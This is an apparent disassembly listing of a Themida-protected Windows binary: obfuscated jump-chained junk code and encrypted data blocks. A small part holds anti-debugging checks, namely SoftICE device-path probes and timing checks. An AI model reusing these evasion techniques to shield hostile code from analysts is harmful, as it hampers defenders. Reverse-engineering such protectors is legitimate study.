loc_5727F6:				; CODE XREF: Themida_:0055DF14j
		add	eax, 3D192096h
		shl	eax, 6
		jmp	loc_55D30A
; ---------------------------------------------------------------------------


loc_572803:				; CODE XREF: Themida_:0055FA5Ej
		push	esi
		jmp	loc_56B15B
; ---------------------------------------------------------------------------


loc_572809:				; CODE XREF: Themida_:0056B5A4j
		mov	edi, 47F722DEh
		jmp	loc_55DB9F
; ---------------------------------------------------------------------------


loc_572813:				; CODE XREF: Themida_:00561F50j
		add	edx, 4
		add	edx, 4
		jmp	loc_55D867
; ---------------------------------------------------------------------------


loc_572821:				; CODE XREF: Themida_:005613CDj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56ADB5
; ---------------------------------------------------------------------------


loc_572844:				; CODE XREF: Themida_:005649C3j
		xchg	ebx, [esp]
		pop	esp
		add	eax, 0BCC00B3h
		add	eax, esi
		sub	eax, 0BCC00B3h
		pop	esi
		push	ebp
		push	4BF0h
		mov	[esp], esi
		push	eax
		mov	eax, 413D1085h
		jmp	loc_572A14
; ---------------------------------------------------------------------------


loc_572869:				; CODE XREF: Themida_:0056C8C1j
		pop	ecx
		not	ecx
		jmp	loc_56A1DF
; ---------------------------------------------------------------------------


loc_572871:				; CODE XREF: Themida_:005639BAj
		shr	ebx, 8
		xor	ebx, 6223D0Ch
		jmp	loc_563421
; ---------------------------------------------------------------------------


loc_57287F:				; CODE XREF: Themida_:005689DAj
		xchg	eax, [esp]
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_57288E:				; CODE XREF: Themida_:005686C3j
		add	ecx, 0D4999B43h
		add	esi, ecx
		jmp	loc_56EA1F
; ---------------------------------------------------------------------------


loc_57289B:				; CODE XREF: Themida_:005645AAj
		sub	edx, ebx
		jmp	loc_56D895
; ---------------------------------------------------------------------------


loc_5728A2:				; CODE XREF: Themida_:0056DBF8j
		pop	ebx
		push	edi
		mov	edi, esp
		jmp	loc_56507E
; ---------------------------------------------------------------------------


loc_5728AB:				; CODE XREF: Themida_:0056D298j
		push	edi
		push	esi
		mov	esi, 132950E0h
		mov	edi, esi
		pop	esi
		add	eax, edi
		jmp	loc_56C0C2
; ---------------------------------------------------------------------------


loc_5728BC:				; CODE XREF: Themida_:0056D9EFj
		mov	ecx, 65277B6h
		sub	edi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 462412CEh
		sub	edi, 33ED22B0h
		jmp	loc_5676D9
; ---------------------------------------------------------------------------


loc_5728D5:				; CODE XREF: Themida_:0055F450j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		add	esp, 4
		shr	ecx, 7
		push	4D08h
		mov	[esp], ebx
		jmp	loc_571F33
; ---------------------------------------------------------------------------


loc_5728EF:				; CODE XREF: Themida_:00560132j
		sub	edi, 6B180424h
		and	edi, 60927255h
		push	ebp
		mov	ebp, 3DC52CDDh
		xor	edi, ebp
		pop	ebp
		push	esi
		jmp	loc_55F60E
; ---------------------------------------------------------------------------


loc_57290A:				; CODE XREF: Themida_:0055F4E4j
		add	edx, 0C6DEBFB6h
		sub	ebx, 55327C4Eh
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56BA9A
; ---------------------------------------------------------------------------


loc_57292D:				; CODE XREF: Themida_:005662C8j
		mov	bl, dh
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_56D8BC
; ---------------------------------------------------------------------------


loc_57293C:				; CODE XREF: Themida_:0057232Cj
		sub	bl, 0D2h
		add	bl, 28h
		sub	bl, al
		sub	bl, 28h
		add	bl, 0D2h
		jmp	loc_56A892
; ---------------------------------------------------------------------------


loc_57294F:				; CODE XREF: Themida_:0056DA29j
		push	0DC0h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 36E73296h
		push	eax
		mov	eax, 0A605676h
		not	eax
		jmp	loc_567525
; ---------------------------------------------------------------------------


loc_572972:				; CODE XREF: Themida_:0056B0A7j
		and	dh, cl
		pop	cx
		shr	dh, 7
		sub	dh, 2
		sub	bl, 0BDh
		jmp	loc_56898A
; ---------------------------------------------------------------------------


loc_572984:				; CODE XREF: Themida_:00569C17j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_568099
; ---------------------------------------------------------------------------


loc_572992:				; CODE XREF: Themida_:0056CC31j
		add	dword ptr [esp], 4
		jmp	loc_567A8E
; ---------------------------------------------------------------------------


loc_57299B:				; CODE XREF: Themida_:00569A51j
		push	ebx
		mov	ebx, 62E878BEh
		sub	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55F37D
; ---------------------------------------------------------------------------


loc_5729B1:				; CODE XREF: Themida_:0056ACC9j
		push	ebp
		mov	ebp, 8167EE1h
		sub	ebp, 0A7BF7C44h
		jmp	loc_5686A6
; ---------------------------------------------------------------------------


loc_5729C2:				; CODE XREF: Themida_:00571D0Bj
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_55D560
; ---------------------------------------------------------------------------


loc_5729DC:				; CODE XREF: Themida_:0056F621j
		not	esi
		sub	esi, 3446190Dh
		shl	esi, 6
		jmp	loc_55E60C
; ---------------------------------------------------------------------------


loc_5729EC:				; CODE XREF: Themida_:0056E770j
		add	edx, 4
		push	edx
		jmp	loc_56E833
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_568BE9
; ---------------------------------------------------------------------------


loc_5729FE:				; CODE XREF: Themida_:00569E0Bj
		pop	edx
		add	ebp, ebx
		pop	ebx
		push	ebx
		mov	ebx, 0F1521BCh
		jmp	loc_572194
; ---------------------------------------------------------------------------


loc_572A0D:				; CODE XREF: Themida_:0056A259j
		push	esp
		pop	ebx
		jmp	loc_569038
; ---------------------------------------------------------------------------


loc_572A14:				; CODE XREF: Themida_:00572864j
		xor	eax, 25893294h
		dec	eax
		neg	eax
		shl	eax, 7
		jmp	loc_561FFE
; ---------------------------------------------------------------------------


loc_572A24:				; CODE XREF: Themida_:0056CF8Bj
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		jmp	loc_56D3F1
; ---------------------------------------------------------------------------


loc_572A32:				; CODE XREF: Themida_:00567566j
		mov	edx, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 1B23C70h
		jmp	loc_561036
; ---------------------------------------------------------------------------


loc_572A45:				; CODE XREF: Themida_:0056EBA4j
		add	esp, 4
		jmp	loc_55F66B
; ---------------------------------------------------------------------------


loc_572A50:				; CODE XREF: Themida_:00562FCFj
		pop	ebx
		sub	ecx, esi
		jmp	loc_5651E3
; ---------------------------------------------------------------------------


loc_572A58:				; CODE XREF: Themida_:0056DB48j
		push	0FEh
		mov	ebp, [esp]
		add	esp, 4
		and	[edi+1Ch], ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	1813h
		push	esp
		pop	dword ptr [esp]
		push	ecx
		jmp	loc_570524
; ---------------------------------------------------------------------------


loc_572A99:				; CODE XREF: Themida_:00560FB6j
		sub	ebx, 0B31A5E2Bh
		sub	edi, 41472010h
		jmp	loc_55F8D5
; ---------------------------------------------------------------------------


loc_572AAA:				; CODE XREF: Themida_:00566D2Aj
		add	edx, 37E836F3h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	edx, 2
		jmp	loc_55DB45
; ---------------------------------------------------------------------------


loc_572AC2:				; CODE XREF: Themida_:0056BA9Ej
		mov	edx, 0FE64CBDh
		not	edx
		shr	edx, 2
		dec	edx
		add	edx, 0C95A0D71h
		add	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_572758
; ---------------------------------------------------------------------------


loc_572AE1:				; CODE XREF: Themida_:0056C580j
		and	al, 0F3h
		xor	al, 0BBh
		mov	bl, al
		mov	eax, [esp]
		jmp	loc_56B135
; ---------------------------------------------------------------------------


loc_572AEF:				; CODE XREF: Themida_:00571108j
		push	ebp
		jmp	loc_570E0A
; ---------------------------------------------------------------------------


loc_572AF5:				; CODE XREF: Themida_:0056C80Aj
		push	edx
		mov	edx, esp
		jmp	loc_567B27
; ---------------------------------------------------------------------------


loc_572AFD:				; CODE XREF: Themida_:00572241j
		pop	eax
		add	eax, 4
		jmp	loc_56549F
; ---------------------------------------------------------------------------


loc_572B08:				; CODE XREF: Themida_:00560FA2j
		pop	esp
		sub	ebx, eax
		push	edx
		mov	edx, 3DD55131h
		sub	ebx, edx
		jmp	loc_5702A3
; ---------------------------------------------------------------------------


loc_572B18:				; CODE XREF: Themida_:00562AAFj
		pop	edx
		push	cx
		mov	ch, 0D0h
		sub	al, ch
		pop	cx
		add	bl, al
		pop	eax
		push	eax
		mov	ah, 0C5h
		and	ah, 0ADh
		jmp	loc_56CE15
; ---------------------------------------------------------------------------


loc_572B2F:				; CODE XREF: Themida_:005702CDj
		add	esp, 4
		push	ax
		push	ebx
		mov	bl, 32h
		push	edx
		jmp	loc_560137
; ---------------------------------------------------------------------------


loc_572B3D:				; CODE XREF: Themida_:00562DC5j
		push	eax
		mov	eax, esp
		jmp	loc_56118B
; ---------------------------------------------------------------------------


loc_572B45:				; CODE XREF: Themida_:0055FE92j
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		sub	esp, 4
		jmp	loc_562DE0
; ---------------------------------------------------------------------------


loc_572B54:				; CODE XREF: Themida_:0055071Aj
		jmp	loc_572BAF
; ---------------------------------------------------------------------------
		db 0D9h, 0B4h, 0FDh
		dd 45535507h, 2E323352h, 6C6C64h, 41564441h, 32334950h
		dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D7006C6Ch,	3000907h
		dd 2000C00h, 20000300h,	35A00h,	7 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_572BAF:				; CODE XREF: Themida_:loc_572B54j
		jmp	loc_5734A4
; ---------------------------------------------------------------------------
		push	616A0B1h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	616A134h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	616A26Fh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	616A3B6h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	616A424h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	616A53Ch
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	616A5B9h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		dw 0AF2Dh
		dd 0F2E1BE10h, 369C79CBh, 7F563385h, 0CC0BE83Ah, 52669FF1h
		dd 0F244795Eh, 0ABFDBC15h, 63B50ACEh, 196B5086h, 997F850Dh
		dd 0AD580887h, 0E2552CB2h, 0AE0DC9EBh, 9553AA02h, 0FDE41392h
		dd 63D170D1h, 226D73BBh, 0F057E502h, 441127C8h,	257D2992h
		dd 1FD7B2F6h, 0D13F91BFh, 0B8DFE52Dh, 4E37D350h, 0BD556471h
		dd 32970511h, 0CDD31BA0h, 37F430E7h, 0F33BD3FBh, 0E76BF8EDh
		dd 844D2A3Dh, 99318935h, 69528451h, 1F9C3A17h, 0A50EA441h
		dd 23311B58h, 765h, 54A619C3h, 0F615C77h, 0C91BA032h, 7ED0E9ECh
		dd 358736A1h, 0E3F4BCFCh, 26AB88DAh, 74644193h,	0BA1CF94Bh
		dd 1BA3AF01h, 8882F15h,	0E1484358h, 4BF7C412h, 0E52DD13Fh
		dd 0E831171Dh, 1D4551F1h, 82E2E8EEh, 8A57E686h,	993D48A3h
		dd 0C8604040h, 9A25B380h, 6E4D8552h, 86522F3Fh,	0CF5F127Ah
		dd 0C1595CCBh, 3DCE0815h, 8A45137h, 0E63D6558h,	0DD128131h
		dd 5735CD6Ch, 3EA58798h, 0E243513Bh, 46000006h,	0FAD72996h
		dd 0B592E4D9h, 6F4C9E1Dh, 24015366h, 7FB80AB3h,	5D607739h
		dd 16A32E0Bh, 0CEF1E7C4h, 84379F7Ch, 989E2632h,	580888B2h
		dd 1264CBC6h, 3E4BF7C4h, 13DB2398h, 0E85F454Bh,	4B7351F1h
		dd 0F1E7DFC5h, 0C216F351h, 0CC3665FDh, 0F8A417BFh, 25D1ECEBh
		dd 6C4D0DF1h, 0AF420014h, 1AC6F3E2h, 3E2793C2h,	0C0FEEDEEh
		dd 53h,	0F7C412D7h, 4017ECA5h, 45E03907h, 1F86DDA9h, 0C397F4C8h
		dd 0C2A4E817h, 4C51F209h, 39FFB875h, 2E5DDAC3h,	0B608B323h
		dd 0C20F6CDAh, 5BF34BF7h, 7E3B0D13h, 0FF2757E5h, 0D1EEEAB7h
		dd 70D0A77Fh, 1F9A3B1Eh, 84EA2CC8h, 318E4A55h, 6237785h
		dd 12CE0000h, 434BF7C4h, 0B4605D76h, 0B5232D5Ch, 0A8BBC109h
		dd 9457E510h, 0FFAB0EC7h, 0CCF478A7h, 2C10AD84h, 9F48D4D1h
		dd 81D98538h, 0CDAABAE9h, 9D6AB209h, 0D2DA8635h, 5FFE6CCh
		dd 3AD2FA58h, 0B11FFB0Bh, 7445905Dh, 4EA70C8h, 18580600h
		dd 8B2EA3F0h, 2AA5ABF3h, 585DFAA0h, 0BD1BE830h,	5D3B002h
		dd 2F060EBAh, 0C26762FEh, 283362CBh, 0CA2F0DAEh, 1D3890FCh
		dd 5A72533h, 5B810000h,	9E351264h, 0E2F0CD1Fh, 2BAA87D9h
		dd 785F3C8Eh, 0FEBAF345h, 469825B2h, 0FF516869h, 0B709B622h
		dd 6DBFFCDAh, 0EDD3D961h, 1580889h, 0C4129F06h,	983E4BF7h
		dd 6B6A7723h, 949AA24Eh, 51F1E7AEh, 864D9AC2h, 587E8B37h
		dd 0AD5FB763h, 50A80949h, 0AEAD1E3Ch, 1251F1E9h, 0EDF00264h
		dd 0FED4FEFEh, 1715FFFFh, 832F8C4Ah, 0E78F757Bh, 7BA351F1h
		dd 2DA9B4E3h, 15C1F8D9h, 6D7925BDh, 3F074FFFh, 0F1E85339h
		dd 4D8A6751h, 0A3A9D870h, 0E53B3A9Dh, 666B4857h, 0B74FA753h
		dd 731B8965h, 4F66252Bh, 0C39A5DF9h, 0CEB9C928h, 0B73B6AF1h
		dd 0BA9DE38Fh, 0C75E19F6h, 77EEE5A5h, 0E7F2C5DEh, 0A8A2710h
		dd 6F9AF1CEh, 0F65C8BB5h, 181h,	6B521EEh, 0ECD3025Ah, 63D170D1h
		dd 573D430Bh, 6B51F1E8h, 0E7D7BD43h, 746451F1h,	0C55D854Bh
		dd 2294A67Dh, 0B5615C77h, 0C599065Dh, 0FE040A39h, 57E523B3h
		dd 0BDA3A981h, 0D1580623h, 144337EAh, 6B034CE3h, 3DE32D3h
		dd 6B91BFB0h, 30951FDh,	37D3E0DCh, 929E4A72h, 2E347C24h
		dd 3DE7FC39h, 2EFB436Bh, 457A5EA8h, 587E5BADh, 7E7E8563h
		dd 937D58A4h, 46085h, 0AB14C800h, 66577C59h, 209B3714h
		dd 0D5E4F1CEh, 8C31A683h, 0F9B7013Ah, 0B08DDFDEh, 69469821h
		dd 21FE506Fh, 0A8B406B5h, 8B341A20h, 4D485808h,	8C4A17E6h
		dd 88F6002Fh, 0C2C890D8h, 51F1E7DCh, 9399C8F0h,	0E2D7FECBh
		dd 87E76FB3h, 72F57E6h,	0D9E6F2BFh, 912EAA87h, 0FEFED8E5h
		dd 95B73F2Ah, 95730B49h, 3EA56B78h, 0F29FAD97h,	36000003h
		dd 0EAC719A6h, 0A582D4E9h, 5F3C8E2Dh, 14F14376h, 6FA8FAC3h
		dd 4D706749h, 6B31EFBh,	0BE01D7B4h, 74478F6Ch, 888E1622h
		dd 58088BA2h, 1254BBB6h, 0E2AFF7C4h, 2E98C7F4h,	5A06B521h
		dd 88348B4Dh, 24AD5D7Bh, 0DB51FD95h, 7ED6DB77h,	2E8EEB6h
		dd 8551F1E8h, 0FD25F1CCh, 254D13E2h, 15E6A4F6h,	51F2AB16h
		dd 2E9ACC7Ah, 1366FEEDh, 7DFFFFFDh, 32874A17h, 0DDDEF803h
		dd 52B72531h, 79903C81h, 890999E8h, 0F78F27B2h,	0B81AE7AFh
		dd 0D0FF5703h, 0E56A9D8Ch, 398BB357h, 0CC79D180h, 9D6AB25Eh
		dd 7ED68239h, 0B481494Fh, 0D1E8E91Fh, 8935CD25h, 0B6625B7Ch
		dd 5397C65Eh, 57E50208h, 0B90DAED6h, 0FFFA95ADh, 1D650977h
		dd 10A6F017h, 363C0406h, 6318750h, 6D508764h, 0FA22A6D5h
		dd 0FEE4EAB2h, 12063186h, 4551BBEAh, 0D9DF27D7h, 0C24C1E4h
		dd 0D9A6EE16h, 9F76BEFDh, 3B581689h, 1F050B1Ch,	330C45C3h
		dd 3444730Bh, 5E3C7F57h, 8A67B7B9h, 0DA72806Ah,	4E000002h
		dd 2DF318Eh, 0BD9AECD1h, 7754A615h, 2C095B5Eh, 87C012ABh
		dd 65587F31h, 1E9B3613h, 0D6E9EFCCh, 8C2FA784h,	0A0A62E3Ah
		dd 58088CBAh, 136CD3CEh, 0ABB1F9A5h, 57E68829h,	3D054D75h
		dd 8875137h, 0E3D6558h,	639D3B08h, 0B6C138E0h, 765C6234h
		dd 8A5808BCh, 0EA32CA62h, 64488513h, 7C823592h,	5808BB96h
		dd 0BBEA82AAh, 0B50ACEABh, 0E1DAFC09h, 0A4BF1E03h, 212F193Eh
		dd 25Dh, 5CAE11CBh, 1769547Fh, 0D123983Ah, 86D8E1F4h, 3D8F2EA9h
		dd 0DBFCB404h, 1EB390E2h, 6C6C499Bh, 0B2240153h, 23ABB709h
		dd 88D371Dh, 0E9504B58h, 0B1F9A513h, 0E68829ABh, 54D7557h
		dd 0CB1D9E38h, 97301CF3h, 8AE1DCFBh, 0C210C6E5h, 283261F9h
		dd 0FECB13BBh, 0AEB4E3D8h, 88CB8A8h, 0CB8E058h,	9DE5D8FFh
		dd 8CE9CFD5h, 0D5FD5808h, 41704988h, 0A23590D7h, 80EDC91Bh
		dd 0C5B38AD2h, 9381A4EDh, 0E6ECF221h, 580856E8h, 3B48F41Ch
		dd 6C74209Bh, 56B89EA4h, 0A4CC5808h, 1D53075h, 571E040Ah
		dd 0A325808h, 93432072h, 812E7C28h, 0A958FADEh,	15C1FADCh
		dd 53838EBDh, 89492068h, 0D50368A5h, 876474A3h,	57246C4Fh
		dd 39913D80h, 4493A00Ah, 0F75BCD79h, 8635A15Bh,	3D805734h
		dd 335D1EF5h, 0FEA0E2A6h, 6A1765CFh, 8DA7E3C7h,	5E2B734Ah
		dd 8184774h, 4B6E6330h,	0D18479Fh, 3A47F3CAh, 0A1676C9Eh
		dd 42EE8635h, 420A52EAh, 828563Ch, 0C9F4E358h, 18FFC51Dh
		dd 483030F7h, 1140D842h, 82379AA7h, 0F208C9D6h,	2F5F1682h
		dd 711DB537h, 961B375Bh, 0E235F01h, 9A5A4046h, 466E5808h
		dd 0F2CB0C17h, 18F1C8A0h, 0F296C92Bh, 0FEE4EA32h, 125808B5h
		dd 26B0BBEAh, 6BA3E995h, 44EE191Ch, 8A4CE0A2h, 0E31D0672h
		dd 0C4114D73h, 0A7FFAB14h, 0F6E0BD0Fh, 0CB0C19C5h, 6CD046F2h
		dd 0FBC0162Eh, 0B740DCB3h, 0A4CB0421h, 4E886575h, 493098AEh
		dd 0B70463A4h, 99F19D20h, 0DB495501h, 96E5EB33h, 6C166F6Dh
		dd 0A816F244h, 3EAAB0F8h, 4E1C84ECh, 0AA727A26h, 0A6ECBEA4h
		dd 7BAAD21Ch, 0D556670h, 0ED593F45h, 456D1CA6h,	572E0616h
		dd 0C21AAF5Bh, 0EAD29EDh, 25720A62h, 75F0BB2h, 0B209CDD8h
		dd 3036FE06h, 1CA72C4Ah, 0C307365Eh, 1E4F47DEh,	46FE9C00h
		dd 1D92B90h, 6E1AA334h,	0B00FC916h, 727DAC04h, 9EAB5764h
		dd 0C9D68237h, 0F906B209h, 0FD31DDDCh, 0E3787919h, 0EBEB0141h
		dd 6C525820h, 801E9248h, 47ECD258h, 0D8001E92h,	0A62BF840h
		dd 0E00F6713h, 28E3F3D0h, 0BB417C5Bh, 1E9247D5h, 7D29C1E9h
		dd 146Fh, 4017C600h, 0A6BCA12Bh, 6A50561Ch, 7E51F2E4h
		dd 568FBE56h, 0F5CA12EFh, 219A3C49h
		dd 4F706875h, 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch
		dd 33884A57h, 64597A87h, 746833B8h, 89000031h, 8952240Ch
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 2434895Ch, 47CB68h
		dd 24148900h, 51256851h, 81591EFBh, 9A5922F1h, 0AAE9816Bh
		dd 49497213h, 824CE981h, 0CE89B661h, 76C68159h,	815BCF0Dh
		dd 0BA2095C6h, 4EC8134h, 89000000h, 4812424h, 424h, 8F565A00h
		dd 34FF0842h, 0C4835A24h, 24348B04h, 81E68956h,	4C6h, 4C68100h
		dd 87000000h, 0E95C2434h, 0FFFDD55Fh, 6437EF17h
; ---------------------------------------------------------------------------


loc_5734A4:				; CODE XREF: Themida_:loc_572BAFj
		mov	eax, 616A83Bh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0D8h, 0DBh, 0A2h
		dd 704C504h, 890E664Bh,	10E85Ch, 13BA0000h, 7FE1B68Fh
		dd 0C25946AAh, 3DD62F36h, 0BB668FBFh, 805A8A40h, 0C281EDF3h
		dd 6AA2h, 0CE8h, 622F0200h, 87048AA1h, 4E89C962h, 2800F23h
		dd 50000000h, 0F2BF585Bh, 811C7451h, 743776EFh,	6CF801Ch
		dd 0F600A8Bh, 1689h, 11E900h, 3B980000h, 53A66BA5h, 9A70F510h
		dd 0D988E77h, 610A808Fh, 0D1B1E981h, 0F08B57A4h, 3599C181h
		dd 0BE93C87h, 44000000h, 341E4F7Ah, 8DFCC24h, 0E9810E0Ch
		dd 67F488ECh, 7441B866h, 0BE90A89h, 38000000h, 0D33A316Fh
		dd 6357E075h, 0EA835B15h, 3BE6604h, 1EF833Ah, 0FF96850Fh
		dd 0F681FFFFh
; ---------------------------------------------------------------------------


loc_573570:				; DATA XREF: Themida_:005495CCo
		aam	5Bh
		lodsd
		pop	eax
		jmp	loc_573606
; ---------------------------------------------------------------------------
		pusha
		cmp	dword ptr [ebp+6140359h], 0
		jz	loc_57358C
		jmp	loc_573604
; ---------------------------------------------------------------------------


loc_57358C:				; CODE XREF: Themida_:00573581j
		push	0
		cmp	byte ptr [esi],	30h
		jnz	loc_57359F
		push	0
		inc	esi
		jmp	loc_5735D4
; ---------------------------------------------------------------------------


loc_57359F:				; CODE XREF: Themida_:00573591j
		cmp	byte ptr [esi],	33h
		jnz	loc_5735B0
		push	10h
		inc	esi
		jmp	loc_5735D4
; ---------------------------------------------------------------------------


loc_5735B0:				; CODE XREF: Themida_:005735A2j
		cmp	byte ptr [esi],	34h
		jnz	loc_5735C1
		push	30h
		inc	esi
		jmp	loc_5735D4
; ---------------------------------------------------------------------------


loc_5735C1:				; CODE XREF: Themida_:005735B3j
		cmp	byte ptr [esi],	35h
		jnz	loc_5735D2
		push	40h
		inc	esi
		jmp	loc_5735D4
; ---------------------------------------------------------------------------


loc_5735D2:				; CODE XREF: Themida_:005735C4j
		push	0


loc_5735D4:				; CODE XREF: Themida_:0057359Aj
					; Themida_:005735ABj ...
		cmp	byte ptr [esi],	20h
		jnz	loc_5735EF
		cmp	byte ptr [esi+1], 0
		jnz	loc_5735EF
		add	esp, 8
		jmp	loc_573604
; ---------------------------------------------------------------------------


loc_5735EF:				; CODE XREF: Themida_:005735D7j
					; Themida_:005735E1j
		lea	eax, [ebp+6140795h]
		push	eax
		mov	[esp], eax
		xchg	eax, esi
		push	eax
		xchg	eax, esi
		push	0
		call	dword ptr [ebp+61402C1h]


loc_573604:				; CODE XREF: Themida_:00573587j
					; Themida_:005735EAj
		popa
		retn
; ---------------------------------------------------------------------------


loc_573606:				; CODE XREF: Themida_:00573574j
		mov	byte ptr [ebp+6141A59h], 4Dh
		call	near ptr loc_573614+2
		test	al, 76h


loc_573614:				; CODE XREF: Themida_:0057360Dp
		xor	eax, 448B50A4h
		and	al, 4
		mov	eax, [eax]
		mov	[esp+4], eax
		pop	eax
		push	dword ptr [ebp+6140931h]
		lea	eax, [ebp+6143B13h]
		call	eax
		mov	[ebp+61402C1h],	eax
		jmp	short loc_573656
; ---------------------------------------------------------------------------
		dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h
dword_57364C	dd 5C2E5C5Ch, 4349544Eh	; DATA XREF: Themida_:005491F8o
		db 45h,	0
; ---------------------------------------------------------------------------


loc_573656:				; CODE XREF: Themida_:00573636j
		mov	eax, eax
		push	esi
		mov	cx, di
		pop	esi
		cmp	dword ptr [ebp+61430B1h], 0
		jnz	short loc_57366F
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_573688


loc_57366F:				; CODE XREF: Themida_:00573664j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Fh
		mov	[ebp+6141A49h],	eax
		lea	ebx, [ebp+616B73Ah]
		call	ebx
		pop	ebx
		pop	eax


loc_573688:				; CODE XREF: Themida_:0057366Dj
		cmp	dword ptr [ebp+6141AE1h], 0
		jz	short loc_5736A8
		push	eax
		push	ebx
		mov	eax, 40Fh
		mov	[ebp+6141A49h],	eax
		lea	ebx, [ebp+616B429h]
		call	ebx
		pop	ebx
		pop	eax


loc_5736A8:				; CODE XREF: Themida_:0057368Fj
		push	0
		push	esi
		call	sub_5736B3
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5736B3	proc near		; CODE XREF: Themida_:005736ABp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5736B3	endp

; ---------------------------------------------------------------------------
		db 6Dh
; ---------------------------------------------------------------------------
		mov	[ebp+61409EDh],	edx
		push	0
		push	edx
		call	sub_5736D5
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5736D5	proc near		; CODE XREF: Themida_:005736CDp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5736D5	endp

; ---------------------------------------------------------------------------
		db 0E8h, 0D9h, 3Eh
; ---------------------------------------------------------------------------
		or	ebx, ebp
		clc
		cmpsd
		adc	edi, 1D095CBEh
		mov	eax, eax
		mov	[ebp+6142589h],	ebx
		mov	byte ptr [ebp+6141A59h], 43h
		push	0
		push	ebp
		call	sub_57370C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57370C	proc near		; CODE XREF: Themida_:00573704p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_57370C	endp

; ---------------------------------------------------------------------------
		dd 3B0B0BBBh, 219C496Eh, 14E9h,	89833F00h, 8B6269B0h, 0FADC1301h
		dd 35B0E566h, 0CA5FDCE6h, 2D016869h, 8B6647D1h,	240481CBh
		dd 74BD41FBh, 0FFFE8B66h, 141145B5h, 0ECCA8106h, 8D5985DAh
		dd 143B1385h, 10E906h, 489F0000h, 0D6305267h, 0B1E86448h
		dd 4DD3F28Eh, 8D8B6641h, 6143085h, 6AD0FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 1D4C94C3h
		dd 0FE9E1h, 56DE0000h, 543FBA4Fh, 33CB7D5Bh, 7FBFED3Ah
		dd 606090F8h, 12E9h, 927F5900h,	0BF9F881Fh, 9F806A31h
		dd 0F6C07A27h, 8B0DD58Bh, 8B6661CEh, 515061C6h,	4AAE26BFh
		dd 6A905900h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 839FC352h, 9DBD8B29h, 6A06142Fh
		dd 38A0F00h, 0F000000h,	0CB68FABFh, 50E307DBh, 4FBE6652h
		dd 60310F5Ah, 310F5250h, 5853585Ah, 81585A61h, 24B52404h
		dd 81661CF8h, 6A6803E6h, 45BD0B03h, 6A061431h, 36AF900h
		dd 9E9h, 5A891D00h, 230E2E4Eh, 4E883A5h, 0
		dd 0B1C00000h, 5060508Fh, 0B2310F52h, 50585AE5h, 13E852h
		dd 3130000h, 14F8A24Ch,	7BCAE13Bh, 7B0DAC17h, 1E4E0A60h
		dd 310F5B65h, 585AE6B5h, 24448B61h, 0FB8B6604h,	77BF008Bh
		dd 89383CE3h, 60042444h, 61DE8B66h, 89958958h, 8D06142Fh
		dd 16AA599Dh, 68B0F06h,	89000000h, 140BFDBDh, 0DE99306h
		dd 0D0000000h, 5A4F764Ah, 25925D14h, 2FBD3C6Ah,	2FBA9350h
		dd 0FF4D84A7h, 0EE9D0h,	67060000h, 0A26EEF0h, 0C0446454h
		dd 621A92D0h, 8F850F40h, 66000002h, 0DE42E681h,	0B5958B58h
		dd 50061416h, 12E8h, 0A22D2900h, 731DD64Fh, 0CF1DFA3Dh
		dd 6FDBBF29h, 66585FBAh, 5FB7B1BAh, 81240489h, 5E835DEEh
